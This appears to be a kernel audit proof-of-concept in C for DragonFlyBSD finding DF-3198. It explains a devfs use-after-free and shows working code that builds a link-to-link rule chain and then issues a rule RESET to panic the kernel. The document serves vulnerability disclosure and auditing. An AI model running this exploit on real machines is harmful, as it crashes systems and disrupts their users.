⬢ DragonFlyBSD Kernel Audit
DF-3198 / uaf_reset.c
← back to finding ↓ download raw
/*
 * DF-3198 - devfs_rule_reset_node() use-after-free during rule RESET.
 *
 * devfs_apply_reset_rules_caller() (devfs_core.c:1912) walks the topology
 * with devfs_iterate_topology(), whose TAILQ_FOREACH_MUTABLE saves `node2'
 * (the next sibling) BEFORE descending.  The callback devfs_rule_reset_node()
 * (devfs_rules.c:213) calls devfs_gc() on rule-created links, which FREES
 * arbitrary other nodes (devfs_gc_links_callback frees every link whose
 * link_target == the node; devfs_gc_dirs_callback frees empty dirs) --
 * including nodes the walker still holds as cursors.  When the walk then
 * revisits the freed node, reset_node() runs on freed memory:
 *   KKASSERT(node->link_target) fails (link_target was NULLed by the first
 *   unlink) on INVARIANTS kernels; on production kernels the subsequent
 *   --node->link_target->nlinks writes through NULL (low-address page fault).
 *
 * Setup: two LINK rules building a link chain  L2 -> L1 -> null.
 * RESET "*" then frees L2 while resetting L1, walks onto freed L2, and dies.
 *
 * Build:  cc -static -O -o uaf_reset uaf_reset.c
 * Run  :  ./uaf_reset          (as root; expect kernel panic in reset)
 * Success marker: panic in devfs_rule_reset_node / devfs_tracer_add_orphan
 * (guest stays wedged in DDB; "SURVIVED" must NOT appear).
 */
#include <sys/ioctl.h>
#include <limits.h>
#include <sys/devfs_rules.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <err.h>

static int fd;

static void
addrule(const char *name, const char *linkname)
{
	struct devfs_rule_ioctl r;
	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;
	r.rule_cmd = DEVFS_RULE_LINK;
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	strlcpy(r.name, name, sizeof(r.name));
	strlcpy(r.linkname, linkname, sizeof(r.linkname));
	if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0)
		err(1, "DEVFS_RULE_ADD %s->%s", name, linkname);
	printf("rule added: name=\"%s\" linkname=\"%s\"\n", name, linkname);
}

static void
applyall(void)
{
	struct devfs_rule_ioctl r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0)
		err(1, "DEVFS_RULE_APPLY");
}

static void
resetall(void)
{
	struct devfs_rule_ioctl r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	if (ioctl(fd, DEVFS_RULE_RESET, &r) < 0)
		err(1, "DEVFS_RULE_RESET");
}

int
main(void)
{
	system("ls -l /dev/L1 /dev/L2 2>&1");

	fd = open("/dev/devfs", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/devfs");

	/* L1 -> null, then L2 -> L1 (link-to-link chain) */
	addrule("null", "L1");
	addrule("L1", "L2");

	applyall();
	printf("rules applied; sleeping for async core thread\n");
	sleep(2);

	if (system("ls -l /dev/L1 /dev/L2") != 0)
		errx(1, "chain not created (/dev/L1,/dev/L2 missing)");
	printf("chain created: /dev/L2 -> /dev/L1 -> /dev/null\n");

	printf("issuing DEVFS_RULE_RESET '*' -- expect UAF panic now\n");
	fflush(stdout);
	resetall();
	sleep(3);

	printf("SURVIVED (no panic)\n");
	return 0;
}